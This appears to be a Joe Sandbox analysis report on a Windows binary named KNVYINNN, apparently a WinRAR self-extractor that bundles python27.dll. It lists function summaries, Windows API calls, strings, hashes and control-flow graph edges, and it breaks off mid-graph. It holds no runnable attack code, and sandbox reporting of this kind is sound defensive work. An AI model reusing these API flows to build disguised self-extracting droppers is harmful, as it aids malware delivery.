                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: EnvironmentExecuteExpandShellStrings
                                                                                                                                                                    • String ID: %s%s%u$%s.%d.tmp$.lnk$<br>$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$|%}
                                                                                                                                                                    • API String ID: 3420131149-1675513723
                                                                                                                                                                    • Opcode ID: f1d734b7b08b9f4aedd9caf768a122fd4345a43afbf2cbe6d9cde77c5d86fd37
                                                                                                                                                                    • Instruction ID: 5d4cda0ac6e670ee5c570f172e74d9b931034adabc78136026f4ad67f7107862
                                                                                                                                                                    • Opcode Fuzzy Hash: f1d734b7b08b9f4aedd9caf768a122fd4345a43afbf2cbe6d9cde77c5d86fd37
                                                                                                                                                                    • Instruction Fuzzy Hash: 0C828222A1868284EF74BB28D8502F9A361FF6278DFC08435D74D4799DDFACE644D7A0
                                                                                                                                                                    Function 00007FF7B1DE8588 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 197filesleeptimeCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 725 7ff7b1de8588-7ff7b1de85fb call 7ff7b1dd84b0 call 7ff7b1de3fac call 7ff7b1de47f0 call 7ff7b1dea940 GetCommandLineW 734 7ff7b1de86c5-7ff7b1de8816 GetModuleFileNameW SetEnvironmentVariableW GetLocalTime call 7ff7b1dd3774 SetEnvironmentVariableW GetModuleHandleW LoadIconW call 7ff7b1de5598 call 7ff7b1dd527c call 7ff7b1de26bc * 2 DialogBoxParamW call 7ff7b1de2798 * 2 725->734 735 7ff7b1de8601-7ff7b1de8610 call 7ff7b1de667c 725->735 768 7ff7b1de881e-7ff7b1de8825 734->768 769 7ff7b1de8818 Sleep 734->769 740 7ff7b1de8616-7ff7b1de8632 OpenFileMappingW 735->740 741 7ff7b1de86bd-7ff7b1de86c0 call 7ff7b1de8100 735->741 744 7ff7b1de8634-7ff7b1de8650 MapViewOfFile 740->744 745 7ff7b1de86b2-7ff7b1de86bb CloseHandle 740->745 741->734 747 7ff7b1de8652-7ff7b1de86a4 call 7ff7b1deb6a0 call 7ff7b1de8100 call 7ff7b1dd7098 call 7ff7b1dd71e4 call 7ff7b1dd7268 744->747 748 7ff7b1de86a9-7ff7b1de86ac UnmapViewOfFile 744->748 745->734 747->748 748->745 770 7ff7b1de882c-7ff7b1de8840 call 7ff7b1dd6fc8 768->770 771 7ff7b1de8827 call 7ff7b1de4b7c 768->771 769->768 775 7ff7b1de8842-7ff7b1de8849 call 7ff7b1de9900 770->775 776 7ff7b1de884e-7ff7b1de8865 DeleteObject 770->776 771->770 775->776 777 7ff7b1de886d-7ff7b1de8874 776->777 778 7ff7b1de8867 DeleteObject 776->778 780 7ff7b1de8876-7ff7b1de887d 777->780 781 7ff7b1de8890-7ff7b1de88a1 777->781 778->777 780->781 782 7ff7b1de887f-7ff7b1de888b call 7ff7b1dd1dec 780->782 783 7ff7b1de88b5-7ff7b1de88c2 781->783 784 7ff7b1de88a3-7ff7b1de88af call 7ff7b1de8190 CloseHandle 781->784 782->781 787 7ff7b1de88c4-7ff7b1de88d1 783->787 788 7ff7b1de88e7-7ff7b1de88ec call 7ff7b1de4868 783->788 784->783 791 7ff7b1de88d3-7ff7b1de88db 787->791 792 7ff7b1de88e1-7ff7b1de88e3 787->792 793 7ff7b1de88f1-7ff7b1de891a call 7ff7b1de98e0 788->793 791->788 794 7ff7b1de88dd-7ff7b1de88df 791->794 792->788 795 7ff7b1de88e5 792->795 794->788 795->788
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AddressEnvironmentFileHandleProcVariable$Module$CloseDeleteObjectView$CommandCurrentDialogDirectoryIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepTimeUnmapswprintf
                                                                                                                                                                    • String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$|%}
                                                                                                                                                                    • API String ID: 1691232531-1198231419
                                                                                                                                                                    • Opcode ID: a3bf5f42e71719cbbf960a3d7363c2074e270f99de69e98c2c0fc4e4cfba942b
                                                                                                                                                                    • Instruction ID: 58a48bcedcb843d815055a2d01c025cc1ccb821e456fda6701906322122de58e
                                                                                                                                                                    • Opcode Fuzzy Hash: a3bf5f42e71719cbbf960a3d7363c2074e270f99de69e98c2c0fc4e4cfba942b
                                                                                                                                                                    • Instruction Fuzzy Hash: 2EA19025A0864285FB14BB28E8513B9A3A0BF66B4EFC44139EB0D4269DDFBCE505C770
                                                                                                                                                                    Function 00007FF7B1DD5D20 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 250COMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWideswprintf
                                                                                                                                                                    • String ID: $%s:$CAPTION$|%}
                                                                                                                                                                    • API String ID: 2100155373-3924973781
                                                                                                                                                                    • Opcode ID: ed9897392241a368d1e38849f765e6efa4e3f050674a46d66731dde9b4f7c43a
                                                                                                                                                                    • Instruction ID: 3b08ca047a07045220d86369bc424b8b2006eb45ba37c6b78e5936122749adca
                                                                                                                                                                    • Opcode Fuzzy Hash: ed9897392241a368d1e38849f765e6efa4e3f050674a46d66731dde9b4f7c43a
                                                                                                                                                                    • Instruction Fuzzy Hash: 7E910532B2864187E714AF3DA80066AA7A1FB96B88F945135EF4D47B5CCE7CE805CB10
                                                                                                                                                                    Function 00007FF7B1DDB31C Relevance: 24.1, APIs: 4, Strings: 9, Instructions: 1345COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
                                                                                                                                                                    • String ID: AES-0017$python27.dll$vector too long$yxxxxxxx$z01$zip$zipx$zx01$|%}
                                                                                                                                                                    • API String ID: 3936042273-72353123
                                                                                                                                                                    • Opcode ID: beeadd6db60b98fc8eba2ec0652f497676cfa875c635e72d07d61eb8bf7cc194
                                                                                                                                                                    • Instruction ID: 871e8ffbc780b95c9e107a3f883a4101f260c2f9f1e4b9965cda2c6a9717838b
                                                                                                                                                                    • Opcode Fuzzy Hash: beeadd6db60b98fc8eba2ec0652f497676cfa875c635e72d07d61eb8bf7cc194
                                                                                                                                                                    • Instruction Fuzzy Hash: CDE2BF61E0864285FB60AB2CE8506B8A3A0BF6774DFD4413ADB4D476ADDFBCE541C360
                                                                                                                                                                    Function 00007FF7B1DE405C Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 101memorywindowCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
                                                                                                                                                                    • String ID: PNG
                                                                                                                                                                    • API String ID: 211097158-364855578
                                                                                                                                                                    • Opcode ID: 81385efa7a6c606c7f2dbc4c83b12490540c4a129177261131c989a7fb397875
                                                                                                                                                                    • Instruction ID: 02950c3b1f286ac731e16eb7a7b0bbf31eb1af0e2b7c11064544e0a4660d2700
                                                                                                                                                                    • Opcode Fuzzy Hash: 81385efa7a6c606c7f2dbc4c83b12490540c4a129177261131c989a7fb397875
                                                                                                                                                                    • Instruction Fuzzy Hash: 53413662B09B0681FF08AB5AD454379A3A0AF66F99F844535CF0D4776CDFBCE5458320
                                                                                                                                                                    Function 00007FF7B1DD3984 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97fileCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    APIs
                                                                                                                                                                    • FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF7B1DD382B), ref: 00007FF7B1DD39CE
                                                                                                                                                                    • FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF7B1DD382B), ref: 00007FF7B1DD39FF
                                                                                                                                                                    • GetLastError.KERNEL32(?,?,00000000,?,?,00007FF7B1DD382B), ref: 00007FF7B1DD3A0E
                                                                                                                                                                    • FindNextFileW.KERNEL32(?,?,00000000,?,?,00007FF7B1DD382B), ref: 00007FF7B1DD3A35
                                                                                                                                                                    • GetLastError.KERNEL32(?,?,00000000,?,?,00007FF7B1DD382B), ref: 00007FF7B1DD3A43
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FileFind$ErrorFirstLast$Next
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 869497890-1550162156
                                                                                                                                                                    • Opcode ID: 40eb428aef5ca3917cae0dfe5bde1ecc7f4abfd34813d200a2b69c957a884b48
                                                                                                                                                                    • Instruction ID: 9e69eb5d7b47a25b35e729d3b462412883be4a599d658a980a2833178251440f
                                                                                                                                                                    • Opcode Fuzzy Hash: 40eb428aef5ca3917cae0dfe5bde1ecc7f4abfd34813d200a2b69c957a884b48
                                                                                                                                                                    • Instruction Fuzzy Hash: 0741D772B08681A5DB24AB29D4402F9A3A0FB167B8F805331EB7D477CDDFACD2558710
                                                                                                                                                                    Function 00007FF7B1DDDE90 Relevance: 4.1, Strings: 3, Instructions: 335COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: c$python27.dll$|%}
                                                                                                                                                                    • API String ID: 0-4113673890
                                                                                                                                                                    • Opcode ID: b8cd73833101c3110c25cef720afe8b68376d96e61166c5a79b7bf6454d077c1
                                                                                                                                                                    • Instruction ID: 0d606fd0fde0cd20c9f2bbfe476fc1ae0ea2287b3af42754314d63f50194c92f
                                                                                                                                                                    • Opcode Fuzzy Hash: b8cd73833101c3110c25cef720afe8b68376d96e61166c5a79b7bf6454d077c1
                                                                                                                                                                    • Instruction Fuzzy Hash: A3E19233A186918BE724DF2CD4802ADB7A1F799748F904139EB5993B8CDB7CE545CB10
                                                                                                                                                                    Function 00007FF7B1DDEA88 Relevance: 3.0, Strings: 2, Instructions: 494COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: python27.dll$|%}
                                                                                                                                                                    • API String ID: 0-236651661
                                                                                                                                                                    • Opcode ID: ae1d24ac294c276100aeebb015d7884cc4ea0f656f718cd9464b29d37bcc7cee
                                                                                                                                                                    • Instruction ID: df3f22cf8f1ad938d3a20278f464a88453aac241c4acfd7ba24af8fa473c982f
                                                                                                                                                                    • Opcode Fuzzy Hash: ae1d24ac294c276100aeebb015d7884cc4ea0f656f718cd9464b29d37bcc7cee
                                                                                                                                                                    • Instruction Fuzzy Hash: 8622E422E0D91282EB10BB2CD850179E6A0BF6375CFD80639DB5E576DCDEBDE4018760
                                                                                                                                                                    Function 00007FF7B1DE9330 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 195libraryCOMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 798 7ff7b1de9330-7ff7b1de93b9 call 7ff7b1de8f8c 801 7ff7b1de93e4-7ff7b1de9401 798->801 802 7ff7b1de93bb-7ff7b1de93df call 7ff7b1de929c RaiseException 798->802 804 7ff7b1de9416-7ff7b1de941a 801->804 805 7ff7b1de9403-7ff7b1de9414 801->805 808 7ff7b1de95e8-7ff7b1de9605 802->808 807 7ff7b1de941d-7ff7b1de9429 804->807 805->807 809 7ff7b1de942b-7ff7b1de943d 807->809 810 7ff7b1de944a-7ff7b1de944d 807->810 818 7ff7b1de9443 809->818 819 7ff7b1de95b9-7ff7b1de95c3 809->819 811 7ff7b1de9453-7ff7b1de9456 810->811 812 7ff7b1de94f4-7ff7b1de94fb 810->812 816 7ff7b1de946d-7ff7b1de9482 LoadLibraryExA 811->816 817 7ff7b1de9458-7ff7b1de946b 811->817 814 7ff7b1de950f-7ff7b1de9512 812->814 815 7ff7b1de94fd-7ff7b1de950c 812->815 820 7ff7b1de95b5 814->820 821 7ff7b1de9518-7ff7b1de951c 814->821 815->814 822 7ff7b1de9484-7ff7b1de9497 GetLastError 816->822 823 7ff7b1de94d9-7ff7b1de94e2 816->823 817->816 817->823 818->810 830 7ff7b1de95c5-7ff7b1de95d6 819->830 831 7ff7b1de95e0 call 7ff7b1de929c 819->831 820->819 828 7ff7b1de951e-7ff7b1de9522 821->828 829 7ff7b1de954b-7ff7b1de955e GetProcAddress 821->829 832 7ff7b1de94ae-7ff7b1de94d4 call 7ff7b1de929c RaiseException 822->832 833 7ff7b1de9499-7ff7b1de94ac 822->833 824 7ff7b1de94e4-7ff7b1de94e7 FreeLibrary 823->824 825 7ff7b1de94ed 823->825 824->825 825->812 828->829 834 7ff7b1de9524-7ff7b1de952f 828->834 829->820 837 7ff7b1de9560-7ff7b1de9573 GetLastError 829->837 830->831 842 7ff7b1de95e5 831->842 832->808 833->823 833->832 834->829 840 7ff7b1de9531-7ff7b1de9538 834->840 838 7ff7b1de9575-7ff7b1de9588 837->838 839 7ff7b1de958a-7ff7b1de95b1 call 7ff7b1de929c RaiseException call 7ff7b1de8f8c 837->839 838->820 838->839 839->820 840->829 845 7ff7b1de953a-7ff7b1de953f 840->845 842->808 845->829 848 7ff7b1de9541-7ff7b1de9549 845->848 848->820 848->829
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DloadSection$AccessWrite$ExceptionProtectRaiseRelease$AcquireErrorLastLibraryLoad
                                                                                                                                                                    • String ID: H
                                                                                                                                                                    • API String ID: 282135826-2852464175
                                                                                                                                                                    • Opcode ID: 5fe5478eb90cf9c1720b92daf6ddd11e55ceb0942146135e6184d1e9ca552fe8
                                                                                                                                                                    • Instruction ID: df41cf2bcf007f613aee67304762063b8b187dc12e6c0101f43153c49e7cb20f
                                                                                                                                                                    • Opcode Fuzzy Hash: 5fe5478eb90cf9c1720b92daf6ddd11e55ceb0942146135e6184d1e9ca552fe8
                                                                                                                                                                    • Instruction Fuzzy Hash: 3F914D32A15B128AEF48EB69D4442ACB3A1BB1974DF858439DF0D1775CEFB8E5458320
                                                                                                                                                                    Function 00007FF7B1DD52AC Relevance: 23.3, APIs: 2, Strings: 11, Instructions: 560COMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 1387 7ff7b1dd52ac-7ff7b1dd52fa call 7ff7b1de9920 call 7ff7b1deb498 1392 7ff7b1dd52fc-7ff7b1dd5335 GetModuleFileNameW call 7ff7b1dd48d0 call 7ff7b1dd8124 1387->1392 1393 7ff7b1dd5337-7ff7b1dd5347 call 7ff7b1dd8168 1387->1393 1397 7ff7b1dd534c-7ff7b1dd536e call 7ff7b1dd200c call 7ff7b1dd2420 1392->1397 1393->1397 1404 7ff7b1dd5374-7ff7b1dd5382 1397->1404 1405 7ff7b1dd5bf5-7ff7b1dd5bf9 call 7ff7b1dd2054 1397->1405 1407 7ff7b1dd5384-7ff7b1dd53a4 call 7ff7b1dd5c74 * 2 1404->1407 1408 7ff7b1dd53a6-7ff7b1dd53de call 7ff7b1df13c0 * 2 1404->1408 1409 7ff7b1dd5bfe-7ff7b1dd5c27 call 7ff7b1de98e0 1405->1409 1407->1408 1420 7ff7b1dd53e1-7ff7b1dd53e4 1408->1420 1421 7ff7b1dd5514-7ff7b1dd5533 call 7ff7b1dd2900 call 7ff7b1df11dc 1420->1421 1422 7ff7b1dd53ea-7ff7b1dd541d call 7ff7b1dd2a10 call 7ff7b1dd2740 1420->1422 1421->1405 1431 7ff7b1dd5539-7ff7b1dd5557 call 7ff7b1dd2740 1421->1431 1432 7ff7b1dd5423-7ff7b1dd542b 1422->1432 1433 7ff7b1dd54e5-7ff7b1dd54f6 call 7ff7b1dd2900 1422->1433 1443 7ff7b1dd5563-7ff7b1dd5576 call 7ff7b1df11dc 1431->1443 1444 7ff7b1dd5559-7ff7b1dd5561 1431->1444 1435 7ff7b1dd545b-7ff7b1dd5464 1432->1435 1436 7ff7b1dd542d-7ff7b1dd5435 1432->1436 1442 7ff7b1dd54fb-7ff7b1dd5505 1433->1442 1440 7ff7b1dd5496-7ff7b1dd549e 1435->1440 1441 7ff7b1dd5466-7ff7b1dd5475 1435->1441 1436->1435 1439 7ff7b1dd5437-7ff7b1dd5455 call 7ff7b1df1850 1436->1439 1439->1435 1458 7ff7b1dd54e1 1439->1458 1448 7ff7b1dd54a0-7ff7b1dd54a8 1440->1448 1449 7ff7b1dd54ce-7ff7b1dd54d5 1440->1449 1441->1440 1446 7ff7b1dd5477-7ff7b1dd547e 1441->1446 1442->1420 1447 7ff7b1dd550b-7ff7b1dd550e 1442->1447 1443->1405 1462 7ff7b1dd557c-7ff7b1dd5597 call 7ff7b1dd9404 call 7ff7b1deea98 1443->1462 1451 7ff7b1dd559a-7ff7b1dd55dc call 7ff7b1dd80f8 call 7ff7b1df11dc 1444->1451 1446->1440 1455 7ff7b1dd5480-7ff7b1dd5494 call 7ff7b1df1130 1446->1455 1447->1405 1447->1421 1448->1449 1450 7ff7b1dd54aa-7ff7b1dd54c8 call 7ff7b1df1850 1448->1450 1449->1433 1452 7ff7b1dd54d7 1449->1452 1450->1405 1450->1449 1470 7ff7b1dd55eb-7ff7b1dd5608 1451->1470 1471 7ff7b1dd55de-7ff7b1dd55e6 call 7ff7b1deea98 1451->1471 1452->1432 1455->1440 1466 7ff7b1dd54dc 1455->1466 1458->1433 1462->1451 1466->1458 1474 7ff7b1dd5ab6-7ff7b1dd5ab9 1470->1474 1475 7ff7b1dd560e-7ff7b1dd561b 1470->1475 1471->1405 1477 7ff7b1dd5ac1-7ff7b1dd5ac9 1474->1477 1479 7ff7b1dd5944-7ff7b1dd594f 1475->1479 1480 7ff7b1dd5621-7ff7b1dd5627 1475->1480 1481 7ff7b1dd5b74-7ff7b1dd5b8c call 7ff7b1deea98 * 2 1477->1481 1482 7ff7b1dd5acf-7ff7b1dd5aea call 7ff7b1df4088 1477->1482 1485 7ff7b1dd5955-7ff7b1dd595f 1479->1485 1486 7ff7b1dd5abb 1479->1486 1483 7ff7b1dd5635-7ff7b1dd563b 1480->1483 1484 7ff7b1dd5629-7ff7b1dd562f 1480->1484 1525 7ff7b1dd5bb1-7ff7b1dd5bf4 call 7ff7b1df13c0 * 2 1481->1525 1526 7ff7b1dd5b8e-7ff7b1dd5baf call 7ff7b1dd5c74 * 2 1481->1526 1502 7ff7b1dd5b2c-7ff7b1dd5b6f call 7ff7b1df2884 call 7ff7b1dd5c30 1482->1502 1503 7ff7b1dd5aec-7ff7b1dd5af4 1482->1503 1489 7ff7b1dd5641-7ff7b1dd5681 1483->1489 1490 7ff7b1dd5808-7ff7b1dd5818 call 7ff7b1dd7f28 1483->1490 1484->1479 1484->1483 1491 7ff7b1dd59bf-7ff7b1dd59c3 1485->1491 1492 7ff7b1dd5961-7ff7b1dd5967 1485->1492 1486->1477 1497 7ff7b1dd5688-7ff7b1dd56aa call 7ff7b1dee7d8 call 7ff7b1df1130 1489->1497 1512 